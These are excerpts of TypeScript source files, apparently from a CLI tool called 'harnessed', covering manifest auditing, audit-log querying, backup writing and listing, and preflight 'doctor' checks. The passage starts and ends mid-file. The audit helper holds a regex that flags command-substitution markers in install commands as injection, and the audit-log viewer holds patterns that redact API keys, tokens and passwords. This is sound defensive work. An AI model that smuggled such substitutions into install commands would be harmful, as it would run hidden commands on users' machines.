doctor.ts B-03 5%-tolerance pattern; semantically MIN — 3 helpers +\n// 1 `finding()` constructor, biome auto-expands long single-line returns).\nimport { spawnSync } from 'node:child_process'\nimport type { Manifest } from '../../manifest/schema/types.js'\nimport type { AuditFinding } from '../audit.js'\nimport { checkOrigin } from './origin-check.js'\n\n// Phase 2.4 W4 T4.1 — refined per real-world manifest survey: planner spec\n// originally COMMAND_SEPARATORS = /[;&|`$]/ flagged legitimate multi-step\n// installs (cp && cd; mkdir; etc.). Tighten to actual shell-eval injection\n// markers aligned with src/manifest/security.ts gate (Phase 1.1.1 hotfix B1):\n// $(...) command substitution / ${...} var expansion / backtick legacy substitution.\n// Bare `$` followed by non-{( (e.g. `$PATH` literal in echo) is NOT injection.\n// Rule 1 deviation per executor — see SUMMARY § Deviations.\nconst SHELL_EVAL_MARKERS = /\\$\\(|\\$\\{|`/\nconst NPM_PKG_RE = /npm(?:\\s+install\\b|\\s+i\\b)(?:\\s+(?:-g|--global))?\\s+(\\S+)/\n\nconst finding = (\n manifest: string,\n level: 'warn' | 'error',\n field: string,\n detail: string,\n): AuditFinding => ({ manifest, level, field, detail })\n\nexport function auditOriginIntegrity(cwd: string): AuditFinding[] {\n const r = checkOrigin(cwd, { allowFork: false }) // B-28 hard-fail mode (vs doctor allowFork=true)\n if (r.status === 'pass') return []\n return [\n finding('project', r.status === 'fail' ? 'error' : 'warn', '/git/remote/origin', r.detail),\n ]\n}\n\nexport function auditInstallCmdIntegrity(m: Manifest): AuditFinding[] {\n const out: AuditFinding[] = []\n const cmd = (m.spec.install as { cmd?: string }).cmd ?? ''\n if (SHELL_EVAL_MARKERS.test(cmd)) {\n out.push(\n finding(\n m.metadata.name,\n 'error',\n '/spec/install/cmd',\n 'install.cmd contains shell-eval marker $(/${/backtick (injection risk)',\n ),\n )\n }\n const upstream = m.metadata.upstream?.repository ?? ''\n const npmMatch = cmd.match(NPM_PKG_RE)\n if (npmMatch?.[1] && upstream.includes('github.com/')) {\n const declared = upstream.split('/').pop()?.replace('.git', '')\n if (declared && npmMatch[1] !== declared) {\n out.push(\n finding(\n m.metadata.name,\n 'warn',\n '/spec/install/cmd',\n `install.cmd npm pkg '${npmMatch[1]}' ≠ upstream '${declared}'`,\n ),\n )\n }\n }\n return out\n}\n\nexport function auditProvenance(): AuditFinding[] {\n const r = spawnSync('node', ['scripts/check-provenance.mjs'], { encoding: 'utf8' })\n if (r.status === 0) return []\n const detail = (r.stderr || r.stdout || '').trim().slice(0, 200)\n return [finding('project', 'error', '/.harnessed/provenance', detail)]\n}\n","// Phase 1.2 cli subcommand `audit` per ASSUMPTIONS B4 候选 1 + R2.3 + phase-1.1.1 M1 second-line check.\n//\n// Phase 1.2 scope: manifest 内自一致性校验 only. We do NOT call git remote\n// get-url against installed copies — that requires already-installed\n// upstreams + network access, deferred to phase 2.4 (real audit per ASSUMPTIONS\n// B4 + ROADMAP). Schema-level checks (git_ref pattern, signed_by pattern,\n// repository format) are mostly enforced by Ajv + phase 1.1.1 M1 hotfix; this\n// audit is a second-line defense against schema drift / placeholder values\n// slipping through.\n\nimport { readdir, readFile } from 'node:fs/promises'\nimport { join, resolve } from 'node:path'\nimport type { Command } from 'commander'\nimport { validateManifestFile } from '../manifest/validate.js'\n// Phase 2.4 W4 T4.1 — runtime-layer helpers (B-28 + B-29 + D2.4-16 + D2.4-17).\nimport {\n auditInstallCmdIntegrity,\n auditOriginIntegrity,\n auditProvenance,\n} from './lib/audit-helpers.js'\n\nconst REPO_URL_PATTERN = /^https:\\/\\/[^\\s]+\\.git$/\nconst SIGNED_BY_PLACEHOLDERS = new Set(['unsigned', 'todo', 'placeholder', 'tbd', 'unknown'])\nconst FORBIDDEN_GIT_REFS = new Set(['HEAD', 'main', 'master'])\n\n// Phase 2.4 W4 T4.1 — exported for sister-share with src/cli/lib/audit-helpers.ts\n// (3 runtime-layer helpers reuse same finding shape; karpathy YAGNI no audit-types.ts).\nexport interface AuditFinding {\n manifest: string\n level: 'warn' | 'error'\n field: string\n detail: string\n}\n\nasync function auditOne(yamlPath: string, preReadSrc?: string): Promise<AuditFinding[]> {\n const findings: AuditFinding[] = []\n const src = preReadSrc ?? (await readFile(yamlPath, 'utf8'))\n const v = validateManifestFile(src, yamlPath)\n if (!v.ok) {\n return v.errors.map((e) => ({\n manifest: yamlPath,\n level: 'error' as const,\n field: e.path,\n detail: e.message,\n }))\n }\n const m = v.manifest\n\n // 1. repository URL shape — must be https + .git suffix.\n const repo = m.metadata.upstream.repository\n if (!REPO_URL_PATTERN.test(repo)) {\n findings.push({\n manifest: yamlPath,\n level: 'warn',\n field: '/metadata/upstream/repository',\n detail: `repository '${repo}' should be https://...git`,\n })\n }\n\n // 2. signed_by must not be a placeholder.\n const sig = m.spec.signed_by\n if (SIGNED_BY_PLACEHOLDERS.has(sig.toLowerCase())) {\n findings.push({\n manifest: yamlPath,\n level: 'warn',\n field: '/spec/signed_by',\n detail: `signed_by '${sig}' looks like a placeholder`,\n })\n }\n\n // 3. git_ref second-line check — schema enforces SHA(7-40 hex)|SemVer pattern (M1\n // hotfix); audit catches the rare \"schema bypass\" case, which is impossible today\n // but cheap insurance against future migrations.\n const install = m.spec.install\n if ('git_ref' in install && typeof install.git_ref === 'string') {\n if (FORBIDDEN_GIT_REFS.has(install.git_ref)) {\n findings.push({\n manifest: yamlPath,\n level: 'error',\n field: '/spec/install/git_ref',\n detail: `git_ref '${install.git_ref}' is a moving ref (HEAD/main/master) — pin to SHA or tag`,\n })\n }\n }\n return findings\n}\n\nexport function registerAudit(program: Command): void {\n program\n .command('audit')\n .description('Second-line manifest self-consistency audit (manifest + runtime layers)')\n .option(\n '--skip-runtime',\n 'skip runtime-layer checks (origin tamper / provenance) — manifest only',\n )\n .action(async (opts: { skipRuntime?: boolean }) => {\n const root = process.cwd()\n const dirs = ['manifests/tools', 'manifests/skill-packs']\n const yamls: string[] = []\n for (const d of dirs) {\n try {\n const entries = await readdir(join(root, d))\n for (const f of entries) if (f.endsWith('.yaml')) yamls.push(resolve(root, d, f))\n } catch {\n // dir absent — skip silently (project may not have all categories)\n }\n }\n yamls.sort()\n\n // Manifest-layer findings (Phase 1.2 ship — schema drift / placeholders / moving refs).\n const findings: AuditFinding[] = []\n const validManifests: Array<{\n path: string\n m: import('../manifest/schema/types.js').Manifest\n }> = []\n for (const y of yamls) {\n const src = await readFile(y, 'utf8')\n const v = validateManifestFile(src, y)\n if (v.ok) validManifests.push({ path: y, m: v.manifest })\n findings.push(...(await auditOne(y, src)))\n }\n\n // Phase 2.4 W4 T4.1 — runtime-layer findings per B-28 + B-29 + R2:\n // 1. origin URL tamper (hard-fail mode via shared checkOrigin helper)\n // 2. install.cmd shell-injection + npm-pkg-vs-upstream cross-check\n // 3. provenance gate (delegates to scripts/check-provenance.mjs)\n // --skip-runtime escape hatch for offline / pre-init env (B-29 carve-out).\n if (!opts.skipRuntime) {\n findings.push(...auditOriginIntegrity(root))\n for (const { m } of validManifests) findings.push(...auditInstallCmdIntegrity(m))\n findings.push(...auditProvenance())\n }\n\n const byManifest = new Map<string, AuditFinding[]>()\n for (const f of findings) {\n const arr = byManifest.get(f.manifest) ?? []\n arr.push(f)\n byManifest.set(f.manifest, arr)\n }\n let errorCount = 0\n for (const y of yamls) {\n const fs = byManifest.get(y) ?? []\n if (fs.length === 0) {\n console.log(`✓ ${y}`)\n } else {\n for (const f of fs) {\n const mark = f.level === 'error' ? '✗' : '⚠'\n console.log(`${mark} ${y}\\n ${f.field}: ${f.detail}`)\n if (f.level === 'error') errorCount++\n }\n }\n }\n // Phase 2.4 W4: emit runtime-layer findings (manifest key = 'project' or m.metadata.name).\n for (const [mname, fs] of byManifest) {\n if (yamls.includes(mname)) continue // manifest-layer already printed above\n for (const f of fs) {\n const mark = f.level === 'error' ? '✗' : '⚠'\n console.log(`${mark} [${mname}] ${f.field}: ${f.detail}`)\n if (f.level === 'error') errorCount++\n }\n }\n console.log(\n `\\naudited ${yamls.length} manifest${yamls.length === 1 ? '' : 's'} — ${findings.length} finding${findings.length === 1 ? '' : 's'} (${errorCount} error${errorCount === 1 ? '' : 's'})`,\n )\n process.exit(errorCount > 0 ? 1 : 0)\n })\n}\n","// Phase 5.1 W1 T1.1 — R10.1 audit log --filter consumer (registerAuditLog).\n// D-01: jq subprocess spawn (shell:false, argv-mode, STRIDE T mitigation).\n// D-02: dual format — default human table 5-col + --json full 12-field opt-in.\n// D-03: pagination: --tail N (default 50) + --head N + --reverse.\n// D-04: consumer 2nd-layer redact 5 patterns (defense-in-depth, CSO gate).\n// Sister: src/cli/doctor.ts register + ExitError + flag validation pattern.\n// Karpathy hard limit ≤200L.\n\nimport { spawn } from 'node:child_process'\nimport { existsSync, readFileSync } from 'node:fs'\nimport type { Command } from 'commander'\nimport type { AuditRecord } from '../audit/log.js'\nimport { harnessedFile } from '../installers/lib/harnessedRoot.js'\n\n// v3.0.3 — homedir-rooted via harnessedRoot SoT (sister src/audit/log.ts).\nfunction auditPath(): string {\n return harnessedFile('audit.log')\n}\n\n// D-04: pre-compile at module load (NOT inside loop per PLAN sneak-block).\n// Apply to task_excerpt field only (other fields are structured IDs/enums/timestamps).\n// Pipeline order: paginate → redact → jq → render (redact LAST per RESEARCH § 2.2).\nconst REDACT_PATTERNS: Array<[RegExp, string]> = [\n [/api[_-]?key\\s*[:=]\\s*\\S+/gi, 'api_key=[REDACTED]'],\n [/\\btoken\\s*[:=]\\s*\\S+/gi, 'token=[REDACTED]'],\n [/\\bpassword\\s*[:=]\\s*\\S+/gi, 'password=[REDACTED]'],\n [/Authorization:\\s*Bearer\\s+\\S+/gi, 'Authorization: Bearer [REDACTED]'],\n [/\\b(sk-|pk-|gh_|ghp_|ya29\\.|AIza)[A-Za-z0-9_\\-.]{4,}/g, '[REDACTED]'],\n]\n\nfunction redact(s: string): string {\n return REDACT_PATTERNS.reduce((acc, [re, rep]) => acc.replace(re, rep), s)\n}\n\nfunction redactRecord(r: AuditRecord): AuditRecord {\n return { ...r, task_excerpt: redact(r.task_excerpt) }\n}\n\nfunction renderHumanTable(records: AuditRecord[]): void {\n // 5-col: ts(19) | phase(6) | category(11) | matched_rule_id(20) | outcome\n const header = `${'ts'.padEnd(19)} | ${'phase'.padEnd(6)} | ${'category'.padEnd(11)} | ${'matched_rule_id'.padEnd(20)} | outcome`\n const sep = `${'-'.repeat(19)}-+-${'-'.repeat(6)}-+-${'-'.repeat(11)}-+-${'-'.repeat(20)}-+--------`\n console.log(header)\n console.log(sep)\n for (const r of records) {\n const ts = r.ts.slice(0, 19)\n const phase = r.phase.padEnd(6)\n const cat = r.category.padEnd(11)\n const rule = (r.matched_rule_id ?? 'null').padEnd(20)\n console.log(`${ts} | ${phase} | ${cat} | ${rule} | ${r.outcome}`)\n }\n}\n\nfunction pipeToJq(filterExpr: string, lines: string[]): Promise<number> {\n return new Promise((resolve, reject) => {\n // D-01: spawn with shell:false (default) — argv-mode immune to shell injection (STRIDE T).\n const child = spawn('jq', [filterExpr], {\n stdio: ['pipe', 'inherit', 'inherit'],\n windowsHide: true,\n })\n // Handle jq absent (ENOENT) — actionable error per doctor.ts jq check pattern.\n child.on('error', (err) => {\n const e = err as NodeJS.ErrnoException\n if (e.code === 'ENOENT') {\n console.error('✗ jq not found in PATH — run: harnessed doctor')\n resolve(1)\n } else {\n reject(err)\n }\n })\n child.on('close', (code) => resolve(code ?? 0))\n child.stdin.write(lines.join('\\n'))\n child.stdin.end()\n })\n}\n\nexport function registerAuditLog(program: Command): void {\n program\n .command('audit-log')\n .description(\n 'Query routing audit log (<harnessed-root>/audit.log) with optional jq filter (R10.1)',\n )\n .option('--filter <expr>', 'jq filter expression (e.g. \\'.category==\"engineering\"\\')')\n .option('--tail <n>', 'show N most recent records (default 50)', '50')\n .option('--head <n>', 'show N oldest records (--head takes priority over --tail)')\n .option('--reverse', 'flip output order')\n .option('--json', 'output full 12-field JSON instead of human table')\n .action(\n async (opts: {\n filter?: string\n tail?: string\n head?: string\n reverse?: boolean\n json?: boolean\n }) => {\n // H1 gate: validate pagination flags before any I/O (sister doctor.ts pattern).\n const tailN = opts.tail !== undefined ? Number(opts.tail) : 50\n if (Number.isNaN(tailN) || tailN < 1) {\n console.error('✗ --tail must be a positive integer')\n process.exit(2)\n }\n const headN = opts.head !== undefined ? Number(opts.head) : undefined\n if (headN !== undefined && (Number.isNaN(headN) || headN < 1)) {\n console.error('✗ --head must be a positive integer')\n process.exit(2)\n }\n\n // Read audit.log — SoT-derived path (STRIDE T: no derivation from user input).\n const path = auditPath()\n if (!existsSync(path)) {\n console.log(`no audit records found (${path} does not exist)`)\n process.exit(0)\n }\n\n const raw = readFileSync(path, 'utf8')\n const lines = raw\n .split('\\n')\n .map((l) => l.trim())\n .filter((l) => l.length > 0)\n\n if (lines.length === 0) {\n console.log('no audit records found (audit.log is empty)')\n process.exit(0)\n }\n\n // Parse records; skip malformed lines silently.\n let records: AuditRecord[] = []\n for (const line of lines) {\n try {\n records.push(JSON.parse(line) as AuditRecord)\n } catch {\n // skip malformed line\n }\n }\n\n // D-03: pagination — --head takes priority over --tail per PLAN must_haves.\n if (headN !== undefined) {\n records = records.slice(0, headN)\n } else {\n records = records.slice(-tailN)\n }\n\n // D-03: --reverse flips output order.\n if (opts.reverse) records = records.reverse()\n\n // D-04: redact task_excerpt BEFORE any output (apply last in pipeline per RESEARCH § 2.2).\n records = records.map(redactRecord)\n\n // D-01: --filter → pipe redacted JSONL through jq subprocess.\n if (opts.filter) {\n // jq absent → actionable error (sister doctor.ts jq check pattern).\n const redactedLines = records.map((r) => JSON.stringify(r))\n const exitCode = await pipeToJq(opts.filter, redactedLines)\n process.exit(exitCode)\n }\n\n // D-02: output format.\n if (opts.json) {\n for (const r of records) {\n console.log(JSON.stringify(r, null, 2))\n }\n } else {\n renderHumanTable(records)\n }\n\n process.exit(0)\n },\n )\n}\n","// Phase 1.2 backup writer per ADR 0004 § 3 schema + Pattern B + C + H.\n//\n// IMPL NOTE (Rule 1 / ASSUMPTIONS C3): each backed-up file's metadata entry\n// records `eol: 'lf' | 'crlf'` based on the original on-disk content\n// (detected by Buffer.includes('\\r\\n')). cli/rollback.ts MUST honor this\n// field on restore — naive `fs.writeFile(buf)` would otherwise round-trip\n// CRLF→LF on Win→Unix migrations or vice versa, mutating the user's\n// original file content. The eol field is the only safe way to preserve\n// the original line ending across a backup/restore cycle.\n//\n// ISO timestamp format: `2026-05-12T13-45-22.123Z`. We replace `:` with `-`\n// because Windows refuses `:` inside filenames; `.` and `-` are universally\n// safe.\n//\n// Pattern B (lazy timestamp dir creation): timestamp dir is mkdir-ed on the\n// fly inside backup() — we never pre-create unused dirs.\n// Pattern C: returns Result-shaped object; mkdir/write failures yield\n// InstallResult-style { ok: false, error } never throws.\n\nimport { createHash } from 'node:crypto'\nimport { mkdir, readFile, writeFile } from 'node:fs/promises'\nimport { dirname, join, relative } from 'node:path'\nimport { harnessedSubdir } from './harnessedRoot.js'\nimport type { DiffPlan, InstallContext, InstallError } from './types.js'\n\n// v2.0.1 fix: backup root migrated from `<ctx.cwd>/.harnessed-backup/` to\n// `~/.harnessed/backups/` to support running harnessed from read-only CWD\n// (e.g. user launched terminal from `C:\\Program Files\\Warp\\` → mkdir EPERM).\n// `getBackupRoot()` is exported so cli/backup-list.ts + cli/gc.ts +\n// cli/rollback.ts share the same SoT (sister Phase 2.6 single-source-of-truth\n// per ADR 0024 capability abstraction pattern).\n//\n// v3.0.3: routed through the shared `getHarnessedRoot()` SoT (sister\n// `harnessedRoot.ts`) so all harness-owned roots compose from a single helper.\n// Path remains `<homedir>/.harnessed/backups` — no behavioral change.\nexport function getBackupRoot(): string {\n return harnessedSubdir('backups')\n}\n\nexport interface BackupFileEntry {\n target: string // absolute path of original file\n backup: string // absolute path of backup copy\n sha1: string // sha1 of original content\n eol: 'lf' | 'crlf' // ASSUMPTIONS C3 — preserve original line ending\n}\n\nexport interface BackupMetadata {\n installer: string // manifest.metadata.name\n manifest: string // manifest.metadata.name (alias for clarity)\n timestamp: string // ISO-8601 (with `:` replaced by `-`)\n files: BackupFileEntry[]\n}\n\nexport type BackupResult =\n | { ok: true; backupId: string; backupDir: string }\n | { ok: false; error: InstallError }\n\nconst HOME_DIR = process.env.HOME ?? process.env.USERPROFILE ?? ''\n\nfunction mirrorPath(target: string, scope: 'HOME' | 'PROJECT', backupDir: string): string {\n // For HOME-scope files, mirror under .harnessed-backup/<id>/HOME/<rel-to-home>;\n // for PROJECT-scope, mirror under .harnessed-backup/<id>/PROJECT/<rel-to-cwd>.\n // If we cannot resolve a relative path (e.g. file is outside home dir on a\n // weird Win symlink), fall back to a flat sha1-of-path filename to avoid\n // colliding with sibling files.\n const root = scope === 'HOME' ? HOME_DIR : '.'\n const rel = root ? relative(root, target) : target\n if (!rel || rel.startsWith('..')) {\n const flat = createHash('sha1').update(target).digest('hex').slice(0, 16)\n return join(backupDir, scope, flat)\n }\n return join(backupDir, scope, rel)\n}\n\nfunction detectEol(buf: Buffer): 'lf' | 'crlf' {\n // First CRLF wins; manifests and config JSON are typically pure-LF or\n // pure-CRLF in real world (mixed-EOL files exist but are vanishingly rare;\n // we pick the dominant convention based on first occurrence).\n return buf.includes('\\r\\n') ? 'crlf' : 'lf'\n}\n\nexport async function backup(plan: DiffPlan, ctx: InstallContext): Promise<BackupResult> {\n const filename = ctx.manifest.metadata.name\n\n // ISO timestamp with `:` → `-` for Win filename safety.\n const backupId = new Date().toISOString().replace(/:/g, '-')\n const backupDir = join(getBackupRoot(), backupId)\n\n try {\n await mkdir(backupDir, { recursive: true })\n } catch (err) {\n return {\n ok: false,\n error: {\n file: filename,\n path: '/',\n message: `failed to create backup dir ${backupDir}: ${(err as Error).message}`,\n line: null,\n column: null,\n keyword: 'backup-mkdir-failed',\n },\n }\n }\n\n const entries: BackupFileEntry[] = []\n\n for (const file of plan.files) {\n let buf: Buffer\n try {\n buf = await readFile(file.target)\n } catch (err) {\n // ENOENT is expected for pure-create plans (oldText === '' + file does\n // not yet exist) — record an empty backup entry so rollback knows to\n // delete the file rather than restore.\n const code = (err as NodeJS.ErrnoException).code\n if (code === 'ENOENT' && file.oldText === '') {\n entries.push({\n target: file.target,\n backup: '', // sentinel: no backup written; rollback should unlink target\n sha1: '',\n eol: 'lf', // moot for non-existent file; default to lf\n })\n continue\n }\n return {\n ok: false,\n error: {\n file: filename,\n path: file.target,\n message: `failed to read original file for backup: ${(err as Error).message}`,\n line: null,\n column: null,\n keyword: 'backup-read-failed',\n },\n }\n }\n\n const sha1 = createHash('sha1').update(buf).digest('hex')\n const eol = detectEol(buf)\n const dest = mirrorPath(file.target, file.scope, backupDir)\n\n try {\n await mkdir(dirname(dest), { recursive: true })\n await writeFile(dest, buf)\n } catch (err) {\n return {\n ok: false,\n error: {\n file: filename,\n path: dest,\n message: `failed to write backup copy: ${(err as Error).message}`,\n line: null,\n column: null,\n keyword: 'backup-write-failed',\n },\n }\n }\n\n entries.push({ target: file.target, backup: dest, sha1, eol })\n }\n\n // metadata.json — single source of truth for rollback.\n const metadata: BackupMetadata = {\n installer: filename,\n manifest: filename,\n timestamp: backupId,\n files: entries,\n }\n const metadataPath = join(backupDir, 'metadata.json')\n try {\n await writeFile(metadataPath, `${JSON.stringify(metadata, null, 2)}\\n`, 'utf8')\n } catch (err) {\n return {\n ok: false,\n error: {\n file: filename,\n path: metadataPath,\n message: `failed to write metadata.json: ${(err as Error).message}`,\n line: null,\n column: null,\n keyword: 'backup-metadata-failed',\n },\n }\n }\n\n return { ok: true, backupId, backupDir }\n}\n","// Phase 1.2 cli subcommand `backup list` per ADR 0004 § 3.\n//\n// Lists all backup snapshots under .harnessed-backup/<timestamp>/metadata.json\n// with installer / manifest / timestamp / file-count summary. Sister to\n// gc.ts (which deletes old snapshots) and rollback.ts (which restores from\n// a chosen timestamp).\n\nimport { readdir, readFile } from 'node:fs/promises'\nimport { join } from 'node:path'\nimport type { Command } from 'commander'\nimport { getBackupRoot } from '../installers/lib/backup.js'\n\ninterface BackupMetadata {\n installer: string\n manifest: string\n timestamp: string\n files: Array<{ target: string }>\n}\n\nexport function registerBackupList(program: Command): void {\n const backup = program.command('backup').description('Backup snapshot operations')\n backup\n .command('list')\n .description('List backup snapshots under .harnessed-backup/')\n .action(async () => {\n const root = getBackupRoot()\n let dirs: string[]\n try {\n dirs = (await readdir(root, { withFileTypes: true }))\n .filter((e) => e.isDirectory())\n .map((e) => e.name)\n .sort()\n } catch {\n console.log(`no backups found (${root} absent)`)\n return\n }\n if (dirs.length === 0) {\n console.log(`no backups found (${root} empty)`)\n return\n }\n for (const ts of dirs) {\n try {\n const meta = JSON.parse(\n await readFile(join(root, ts, 'metadata.json'), 'utf8'),\n ) as BackupMetadata\n console.log(\n `${ts} ${meta.manifest} (${meta.files.length} file${meta.files.length === 1 ? '' : 's'})`,\n )\n } catch {\n console.log(`${ts} (metadata.json missing or unreadable)`)\n }\n }\n console.log(`\\n${dirs.length} snapshot${dirs.length === 1 ? '' : 's'} total`)\n })\n}\n","// Phase 1.2 cli subcommand `doctor` per PLAN § 4.1 acceptance B8' + ASSUMPTIONS B4 候选 1 + C4.\n// Phase 2.4 W1 T1.2 — expanded to 5 checks + --json flag + 3-tier status enum\n// (pass/warn/fail) + warn ≠ fail exit policy (B-06). Phase v2.0-2.4 W3 T2.4.W3.1 —\n// 9th + 10th checks (Agent Teams env D-11 + planning-with-files plugin D-15);\n// hard limit ≤225L per B-03 (12.5% tolerance over Karpathy 200L target — split\n// to 2 helper per `if exceed split helper` plan provision). Origin URL check\n// delegates to src/cli/lib/origin-check.ts (sister-share with audit, per B-28 + D2.4-3).\n//\n// IMPL NOTE (Rule 1 / ASSUMPTIONS C4 mitigation — WSL detection): on Windows\n// we resolve which `bash` the shell will spawn (PATH-first), then probe\n// `bash -c 'echo $WSL_DISTRO_NAME'`. If the probe outputs a non-empty string\n// the resolved bash is the WSL `bash.exe` shim (which forks a Linux process\n// — known to break ralph-loop subagent spawning on harness side, see\n// phase-1.1 finding). Empty output = Git Bash or native bash, OK.\n\nimport { spawnSync } from 'node:child_process'\nimport { readFile } from 'node:fs/promises'\nimport { homedir } from 'node:os'\nimport { join } from 'node:path'\nimport type { Command } from 'commander'\n\ninterface CheckResult {\n name: string\n status: 'pass' | 'warn' | 'fail'\n message: string\n fix?: string\n}\n\nfunction checkNodeVersion(): CheckResult {\n const v = process.versions.node\n const major = Number.parseInt(v.split('.')[0] ?? '0', 10)\n return major >= 22\n ? { name: 'node ≥ 22', status: 'pass', message: `node ${v}` }\n : {\n name: 'node ≥ 22',\n status: 'fail',\n message: `node ${v} (need ≥ 22)`,\n fix: 'nvm install 22 && nvm use 22',\n }\n}\n\nasync function checkMcpScope(): Promise<CheckResult> {\n // ADR 0004 § 5: MCP servers must be installed at project scope (.mcp.json),\n // never at user scope (~/.claude.json mcpServers block) — CC #54803.\n const projectMcp = join(process.cwd(), '.mcp.json')\n const userClaude = join(homedir(), '.claude.json')\n\n let projectExists = false\n try {\n await readFile(projectMcp, 'utf8')\n projectExists = true\n } catch {\n // .mcp.json absence is fine if no MCP servers are installed yet — only an issue\n // if the user has them at user scope instead.\n }\n\n let userHasMcp = false\n try {\n const raw = await readFile(userClaude, 'utf8')\n const parsed = JSON.parse(raw) as { mcpServers?: Record<string, unknown> }\n userHasMcp = !!parsed.mcpServers && Object.keys(parsed.mcpServers).length > 0\n } catch {\n // ENOENT or malformed JSON — treat as no user-scope MCP servers, OK.\n }\n\n if (userHasMcp) {\n return {\n name: 'mcp scope = project',\n status: 'fail',\n message: `~/.claude.json has user-scope mcpServers (CC #54803 risk)`,\n fix: 'remove user-scope entries; re-add via `claude mcp add --scope project ...`',\n }\n }\n return {\n name: 'mcp scope = project',\n status: 'pass',\n message: projectExists ? 'project .mcp.json present' : 'no MCP servers installed',\n }\n}\n\nfunction checkJq(): CheckResult {\n const finder = process.platform === 'win32' ? 'where' : 'which'\n const r = spawnSync(finder, ['jq'], { encoding: 'utf8' })\n if (r.status === 0 && r.stdout.trim().length > 0) {\n return {\n name: 'jq present',\n status: 'pass',\n message: r.stdout.split(/\\r?\\n/)[0]?.trim() ?? 'jq found',\n }\n }\n const fix =\n process.platform === 'win32'\n ? 'winget install jqlang.jq (or: scoop install jq)'\n : process.platform === 'darwin'\n ? 'brew install jq'\n : 'apt-get install jq (or: dnf install jq)'\n return { name: 'jq present', status: 'fail', message: 'jq not found in PATH', fix }\n}\n\nfunction checkWinBash(): CheckResult {\n // Only meaningful on Windows; on Unix we report skipped-OK.\n if (process.platform !== 'win32') {\n return { name: 'bash flavor (win)', status: 'pass', message: 'skipped (non-Windows)' }\n }\n // Step 1: locate the `bash` that PATH would resolve.\n const where = spawnSync('where', ['bash'], { encoding: 'utf8' })\n const firstBash = (where.stdout ?? '').split(/\\r?\\n/)[0]?.trim() ?? '(not found)'\n if (where.status !== 0 || !firstBash || firstBash === '(not found)') {\n return {\n name: 'bash flavor (win)',\n status: 'fail',\n message: 'no bash on PATH',\n fix: 'install Git for Windows (Git Bash) and ensure it is on PATH',\n }\n }\n // Step 2: WSL probe — non-empty WSL_DISTRO_NAME = WSL bash, ralph-loop fork bug risk.\n const probe = spawnSync('bash', ['-c', 'echo $WSL_DISTRO_NAME'], { encoding: 'utf8' })\n const distro = (probe.stdout ?? '').trim()\n if (distro.length > 0) {\n return {\n name: 'bash flavor (win)',\n status: 'fail',\n message: `WSL bash (${distro}) — ralph-loop subagent fork breaks under WSL`,\n fix: 'reorder PATH so Git Bash precedes WSL bash.exe (Settings → System → Environment Variables)',\n }\n }\n return { name: 'bash flavor (win)', status: 'pass', message: `${firstBash} (Git Bash / native)` }\n}\n\n// Phase 2.4 W1 T1.2 — 5th check: origin URL drift detection (warn mode for fork\n// legitimacy per B-05; audit uses hard-fail mode via same helper per B-28).\nasync function checkOriginUrl(): Promise<CheckResult> {\n const { checkOrigin } = await import('./lib/origin-check.js')\n const r = checkOrigin(process.cwd(), { allowFork: true })\n return { name: 'origin URL', status: r.status, message: r.detail, fix: r.fix }\n}\n\n// Phase 3.2 W1 T1.5 — 6th check: gstack command prefix PROBE (D-01 LOCKED).\n// Sister Phase 2.4 W1 checkOriginUrl L130-134 dynamic import + delegate pattern.\nasync function checkGstackPrefix(): Promise<CheckResult> {\n const { probeGstackPrefix } = await import('./lib/probe-gstack.js')\n const r = probeGstackPrefix()\n return { name: 'gstack prefix', status: r.status, message: r.detail, fix: r.fix }\n}\n\n// Phase 3.3 W1 T1.7 — 7th check: deprecated manifests via aliases.yaml (D-02\n// DOCTOR-ONLY-WARN). Phase 3.4 W1 T1.2 — 8th check: skill description token\n// budget (D-03 BUFFER /4 + D-04 DOCTOR WARN). Option A inline shrink (3L each)\n// per RESEARCH § 1.3 + sister L138-142 checkGstackPrefix 100% delegate pattern.\nasync function checkDeprecations(): Promise<CheckResult> {\n return (await import('./lib/check-deprecations.js')).checkDeprecations()\n}\nasync function checkTokenBudget(): Promise<CheckResult> {\n return (await import('./lib/check-token-budget.js')).checkTokenBudget()\n}\n\n// Phase v2.0-2.4 W3 T2.4.W3.1 — 9th + 10th checks (Agent Teams env + planning-\n// with-files plugin presence). 100% delegate per sister checkGstackPrefix L138\n// pattern keeps doctor.ts ≤ Karpathy 200L+5% (CLAUDE.md L21 hard limit).\nasync function checkAgentTeamsEnv(): Promise<CheckResult> {\n return (await import('./lib/check-agent-teams-doctor.js')).checkAgentTeamsDoctor()\n}\nasync function checkPlanningPlugin(): Promise<CheckResult> {\n return (await import('./lib/check-planning-with-files.js')).checkPlanningWithFiles()\n}\n\nexport function registerDoctor(program: Command): void {\n program\n .command('doctor')\n .description(\n 'Preflight checks (Node / MCP scope / jq / Win bash / origin URL / gstack prefix / deprecations / token budget / Agent Teams / planning-with-files)',\n )\n .option('--json', 'output JSON instead of human-readable')\n .action(async (opts: { json?: boolean }) => {\n // Phase 4.3 W0 sister 3rd-cycle absorb #BT — async checks parallelize via\n // Promise.all (no data deps); Phase v2.0-2.4 W3 T2.4.W3.1 ADD 9th (D-11)\n // + 10th (D-15) check. Ordering preserved per doctor.test.ts cell-1+4+5.\n const [mcp, origin, gstack, dep, tok, at, ppwf] = await Promise.all([\n checkMcpScope(),\n checkOriginUrl(),\n checkGstackPrefix(),\n checkDeprecations(),\n checkTokenBudget(),\n checkAgentTeamsEnv(),\n checkPlanningPlugin(),\n ])\n const results: CheckResult[] = [\n checkNodeVersion(),\n mcp,\n checkJq(),\n checkWinBash(),\n origin,\n gstack,\n dep,\n tok,\n at,\n ppwf,\n ]\n const hasFail = results.some((r) => r.status === 'fail')\n const hasWarn = results.some((r) => r.status === 'warn')\n if (opts.json) {\n console.log(\n JSON.stringify(\n { checks: results, summary: hasFail ? 'fail' : hasWarn ? 'warn' : 'pass' },\n null,\n 2,\n ),\n )\n } else {\n for (const r of results) {\n const mark = r.status === 'pass' ? '✓' : r.status === 'warn' ? '⚠' : '✗'\n console.log(`${mark} ${r.name} — ${r.message}`)\n if (r.status !== 'pass' && r.fix) console.log(` fix: ${r.fix}`)\n }\n console.log(\n hasFail\n ? '\\nsome checks failed (see fix hints above)'\n : hasWarn\n ? '\\nall checks ok (with warnings — see hints above)'\n : '\\nall checks passed',\n )\n }\n process.exit(hasFail ? 1 : 0) // B-06: warn ≠ fail (advisory only)\n })\n}\n","// src/workflow/schema/discipline.ts — Phase v3.0-3.3 W0 T3.3.W0.6 (R30.9 + D-09).\n// TypeBox schema for workflows/disciplines/*.yaml (6 file ship v3.0 per D-09 L0 Discipline Substrate).\n// Sister: src/workflow/schema/judgment.ts dual-shape (triggers vs rules) pattern.\n//\n// 6 file covered (per 